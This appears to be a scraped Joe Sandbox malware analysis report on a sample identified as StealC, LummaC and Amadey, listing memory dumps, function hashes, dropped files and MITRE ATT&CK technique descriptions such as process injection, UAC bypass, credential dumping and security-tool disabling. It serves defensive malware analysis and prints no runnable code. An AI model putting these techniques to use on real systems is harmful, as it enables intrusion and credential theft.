Associated: 00000004.00000002.1704030131.000000000110E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704053950.0000000001111000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704080261.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704105502.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704131849.0000000001125000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704156420.0000000001127000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704181271.0000000001130000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704207107.0000000001133000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704232548.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704258016.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704281887.0000000001136000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704307013.0000000001137000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704331759.0000000001139000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704356693.000000000113C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704380637.000000000113D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704407630.0000000001145000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704453685.0000000001199000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704477921.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704502977.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704553484.00000000011B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1704579641.00000000011BA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ef0000_APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f382559ad59ff337c4a580bdc7d7ab0041013feafc29a6f4830b05c6de247d29
Instruction ID: 5fbf0bd425ac7fc43e568798d119940dad60d61ee3e41ff00a9cd63bcf78e62f
Opcode Fuzzy Hash: f382559ad59ff337c4a580bdc7d7ab0041013feafc29a6f4830b05c6de247d29
Instruction Fuzzy Hash: E2E086360141019ED701DF54C85599FFBF4FF19320F618445F884CB722C3758842CB29

Analysis Process: OQ8LP4972W0L2P9TRRG7I8.exePID: 8004, Parent PID: 7416COMMON

Executed Functions

Function 04E10AFC Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca7d245754375cfeb46e8ffa1a68f41430d98e00312161eecfcbacaf1da42c3
Instruction ID: 9f7e0ac3b130cee3455d50292111b7e5dd6269bf38452b27e16874d1f6de1d4a
Opcode Fuzzy Hash: 3ca7d245754375cfeb46e8ffa1a68f41430d98e00312161eecfcbacaf1da42c3
Instruction Fuzzy Hash: 4A2184FB38C2547EB04295822B15EFAAB6EE6C66343319467F403D6916F2C91A8D7131

Function 04E10B16 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3197eba7b7d6e39b72a77c98643235b6d4d91dea683a3a08594174bcd710cc
Instruction ID: ce6af89b5d19beb8bee9565093a311a94fa38b9adb3923841eefd9efc52dd1b0
Opcode Fuzzy Hash: 5c3197eba7b7d6e39b72a77c98643235b6d4d91dea683a3a08594174bcd710cc
Instruction Fuzzy Hash: EB2105F738C2A47EE14295852B14EFA7B6EE7C3630330906AF803C6912F2C51A8D7231

Function 04E10B39 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cdebb585b49362b66eafd3ae186279ea74a64d611c1cccc8ce19da0ce442758
Instruction ID: 7235c77d56346c9ad303f5fe36339ca174d38864e87075f2ccd6500b1d164114
Opcode Fuzzy Hash: 8cdebb585b49362b66eafd3ae186279ea74a64d611c1cccc8ce19da0ce442758
Instruction Fuzzy Hash: 50110AF728C2507EE14295812B14EFA7B6EE6C76303319467F403C5912F2CA1A896231

Function 04E10B56 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9675fda09f270b8bc5f16ed0a116f6121db9922a795260d58192beda795db62c
Instruction ID: 278dabdf8b5ac3c609ffeb32163f4b4259681a9b808493c5c3c7befc8cb7c1bf
Opcode Fuzzy Hash: 9675fda09f270b8bc5f16ed0a116f6121db9922a795260d58192beda795db62c
Instruction Fuzzy Hash: 1D1104F728C2547FE14295812B51EFA7BAEE7C66307309467F403D6952F2CA1A896132

Function 04E10BC3 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75baba707bd8a7ff1d41770660795cb38c7d313a7294d5a0ee61a8c68d4027d8
Instruction ID: 047f530bdda36ea28991cc2cd101dc4b49b6b32d289ab6d183f21be2fc999d4d
Opcode Fuzzy Hash: 75baba707bd8a7ff1d41770660795cb38c7d313a7294d5a0ee61a8c68d4027d8
Instruction Fuzzy Hash: 081123FB38C2507EA04295822750EFA7BAFE7C66303309467F403C6922F2CA1A896571

Function 04E10B83 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41304fcbfc0bc85bf22d9dec2f2163d59b6499b9f4c2bc3394b28fdaa33f13b8
Instruction ID: 7068199ce18d643eff43ccdee4dd502943e5cbdbf6152da1a7b45c6be6a17b38
Opcode Fuzzy Hash: 41304fcbfc0bc85bf22d9dec2f2163d59b6499b9f4c2bc3394b28fdaa33f13b8
Instruction Fuzzy Hash: 29012BF72CC2907FA14355856745DFA7E6FA7C7634331509AF4038A912F2CA1A88B122

Function 04E10BDB Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66dfb7aea98c8783facb35900bb9ad8b7eb26e123a6ce13ecb1d8bdf80af392e
Instruction ID: 24548369d27e53406c9bd586b26c631c9ba1d57f45e98f4f7ec3a88da1a55449
Opcode Fuzzy Hash: 66dfb7aea98c8783facb35900bb9ad8b7eb26e123a6ce13ecb1d8bdf80af392e
Instruction Fuzzy Hash: 560176F72892507FE14265912B906F6BBAEE7C763033050A6F443DA842F2CA0A89A521

Function 04E10C41 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa128da797af3997aefebab4c6b4ffc0bfe1051ac3e4c0116dc30719943b82f5
Instruction ID: 2484ab456729cdaaba451c194daed2e3dbca3fcaca6a4d027a6f5836415803b6
Opcode Fuzzy Hash: fa128da797af3997aefebab4c6b4ffc0bfe1051ac3e4c0116dc30719943b82f5
Instruction Fuzzy Hash: 9EF05CB37C83649FC34269E403552DD7AA3AB1313073150AAE8038F992F68B2585A941

Function 04E10C27 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2535901a3a192691f7b2e79accb37ea32fe5a6ddabf816ba8f225b26ffb6d712
Instruction ID: 2436608b4831ae1e32ab4f88a4b370efd1434dac88257f5b12d9ee0b4284b370
Opcode Fuzzy Hash: 2535901a3a192691f7b2e79accb37ea32fe5a6ddabf816ba8f225b26ffb6d712
Instruction Fuzzy Hash: 1EE068B33C82906BC20226A413512E9BF27974343133050E2E843CA953F2CB1186B652

Function 04E10A5A Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1632148503.0000000004E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e10000_OQ8LP4972W0L2P9TRRG7I8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d29bf13ad1449e74ab1ea0edc8c71023410af1006dc5f430cad38d05dec936a4
Instruction ID: 3ec06d34040b32dbd63470cf8d4785bc721aaf123afbeff1a64a1eab6fe615d1
Opcode Fuzzy Hash: d29bf13ad1449e74ab1ea0edc8c71023410af1006dc5f430cad38d05dec936a4
Instruction Fuzzy Hash: 79D022732C8A1CCED2424E0898452F23BE6F30876030152ABE0C60EC60F22330C1C681

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre